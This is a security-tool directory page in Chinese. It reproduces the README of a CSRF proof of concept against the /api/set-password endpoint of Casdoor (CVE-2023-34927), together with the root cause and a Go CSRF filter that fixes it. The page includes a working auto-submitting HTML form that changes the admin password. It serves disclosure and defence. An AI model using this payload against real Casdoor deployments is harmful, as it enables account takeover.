Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
csrf_casdoor — 针对 Casdoor 的 `/api/set-password` 端点(CVE-2023-34927)的 CSRF 概念验证利用,可通过跨站 POST 请求实现未授权密码更改。包含基于 Go 的 CSRF 过滤器修复。 | Kitploit
工具/GitHubGitHub/vanlam2001/csrf_casdoor
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试身份验证
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

针对 Casdoor 的 `/api/set-password` 端点(CVE-2023-34927)的 CSRF 概念验证利用,可通过跨站 POST 请求实现未授权密码更改。包含基于 Go 的 CSRF 过滤器修复。

查看仓库
116天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Casdoor – 跨站请求伪造 (CSRF)

摘要

  • 漏洞:/api/set-password 中的 CSRF 允许在未经同意的情况下更改密码。
  • 受影响版本:该软件的所有版本均受影响。目前没有可用的修复版本。
  • CVE:CVE-2023-34927(最新编号尚未分配)。
  • 漏洞利用作者:Van Lam Nguyen。
  • 测试环境:Windows

影响

  • 如果受害者已登录 Casdoor,跨站 POST 请求可以更改受害者的密码(例如 built-in/admin),导致账户被接管。

攻击前提条件

  • 受害者已通过身份验证并拥有有效的 casdoor_session_id cookie。
  • 受害者访问一个恶意页面,该页面自动向 /api/set-password 提交 POST 请求。

概念验证

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

根本原因

  • /api/* 下的状态更改端点接受基于 cookie 身份验证的请求,而未强制执行同源检查(Origin/Referer)或 CSRF 令牌。

修复概述

  • 添加服务器端 CSRF 过滤器,以拒绝 /api/* 下跨站、基于 cookie 的 POST/PUT/DELETE/PATCH 请求。
  • 允许携带显式非 cookie 身份验证(例如 Authorization、Basic 认证、客户端凭据或 accessToken)的请求,或不带浏览器会话 cookie 的请求(典型的服务器到服务器调用)。

实现

  • 使用在 csrf_filter.go 中实现的 routers.CSRFFilter。该过滤器:
    • 对非状态更改方法提前返回。
    • 允许携带显式非 cookie 身份验证的请求。
    • 当存在会话 cookie 且来源与主机不匹配时,阻止跨站请求。

如何集成到 Casdoor

  1. 将 csrf_filter.go 复制到 Casdoor 项目现有的 routers 包中。不要修改或删除此文件中的任何内容。
  2. 在 HTTP 管道中尽早注册过滤器(在 main 内部):
    // Beego v1 style
    web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

验证

  • 注册过滤器后,在登录状态下重放上述 PoC。请求应被拒绝并返回 Unauthorized operation,服务器应记录 CSRF check failed。
  • 包含 Authorization 头或 accessToken 参数的跨源 API 调用应继续正常工作。

仓库文件

  • csrf_filter.go:要复制到 Casdoor 的 routers 包中的 CSRF 过滤器。
  • poc.html:重现 CSRF 攻击的最小页面。
  • README.md:描述漏洞和修复步骤的本文档。

参考资料

  • Casdoor: https://casdoor.org/
  • 版本: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

视频

  • Youtube: https://youtu.be/N5VENgiObjY
下载工具